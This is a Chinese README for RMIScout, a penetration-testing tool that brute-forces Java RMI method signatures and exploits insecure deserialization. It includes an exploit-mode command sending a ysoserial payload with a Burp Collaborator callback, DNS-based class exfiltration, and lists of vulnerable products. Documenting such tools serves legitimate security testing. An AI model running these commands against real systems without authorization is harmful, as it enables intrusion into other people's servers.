RMIScout 支持对暴露的 Java RMI 接口进行字典和暴力破解攻击,无需实际调用即可安全猜测方法签名。它支持多种 Java RMI 协议、方法调用和漏洞利用。
为了识别但不执行 RMI 函数,RMIScout 使用低级 RMI 网络函数和动态类生成,发送类型故意不匹配的 RMI 调用以触发远程异常。所有参数都被替换为一个动态生成的可序列化类,该类名长度为 255 个字符,假定在远程类路径中不存在。例如:
远程接口:
void login(String user, String password)
RMIScout 将调用:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
如果该类存在,这将导致远程的 java.rmi.UnmarshalException,由 ClassNotFoundException 或参数反序列化错误引起,而不会调用底层方法。
更多详细技术文章:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
提供一个方法原型列表,用于在远程服务器上检查。RMIScout 将输出所有识别的匹配项。
对于 RMI-IIOP/CORBA:除非方法被重载,否则暴力破解和调用仅需名称匹配(忽略所有其他信息)。
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
提供一个候选方法名列表,然后提供逗号分隔的候选返回类型列表、参数数量范围和候选参数类型列表。暴力破解模式将生成所有排列并查找匹配的签名。
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
在配置错误的服务器上,任何使用非基本类型(例如 java.util.List)的已知 RMI 签名都可以通过将对象替换为序列化负载来利用。这是一个相当常见的配置错误(例如,VMWare vSphere Data Protection + vRealize Operations Manager、Pivotal tc Server and Gemfire、Apache Karaf + Cassandra),正如 An Trinh 在 2019 Blackhat EU 上的演讲 中所强调的那样。
RMIScout 集成了 ysoserial 来对错误配置进程范围序列化过滤器(JEP 290)的服务执行反序列化攻击。
可利用签名的示例:
void exampleMethod(java.util.Map a) // 任何非基本类型
void exampleMethod(float[] a) // 任何类型的数组,即使是基本类型
void exampleMethod(String a) // 在较旧 JDK 上有效,见下文...
注意: 在 RMI-JRMP 中,包含 java.lang.String 类型的签名仅在 2020 年初之前的 JRE 8/11/13/14 版本中可利用,但在 RMI-IIOP 中目前仍然可利用。
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout 允许您使用基本类型、基本类型数组或字符串调用任何签名。更高级的类型需要编写自定义客户端。
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout 集成了 GadgetProbe 来识别远程类路径中的类。类名通过 DNS 外传。
使用附带的 rmiscout.sh 脚本自动构建项目,并作为 java -jar 语法的便捷封装:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
或者,手动构建项目并使用传统的 java -jar 语法:
# 手动构建 JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
注意: RMI-IIOP(编译/运行时)和 ysoserial(运行时)依赖于 JDK8。
运行 Docker 化的演示 RMI 服务器。尝试使用附带的 demo/wordlist.txt。
cd demo
./start_demo.sh
问:如何判断 <host>:<port> 是否为 RMI 注册表?
使用 ./rmiscout list <host> <port> 获取远程服务器上注册表的信息。
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
或者,使用 nmap 的 rmi-dumpregistry 脚本:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
问:我在端口 1098 上发现了一个名为 java.rmi.activation.ActivationSystem 的注册表。我可以用它做什么?
这是一个 rmid 激活系统守护进程。其所有方法都受到 SecurityManager 的限制。较新的 JRE 在反序列化任何远程数据之前会检查远程对等方是否来自本地主机。较旧(2011 年之前)的版本没有此检查,可能容易受到攻击。参见 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
问:我能否使用比 JRE 8 更新的运行时运行 RMIScout?
答:技术上可以,但许多功能将无法工作。CORBA 支持、探测支持和 ysoserial(漏洞利用模式)强制要求 JRE 8。
问:为什么我会遇到 CannotCompileException?
答:当直接或通过词表提供了无效的方法名称或原型时,会发生 CannotCompileException。RMIScout 会在运行时为用户提供的候选签名生成字节码。尽管 RMIScout 具有基本的规则来纠正用户提供原型中的常见语法错误,但有时仍然会失败。
Twitter:@BumbleSec
GitHub:the-bumble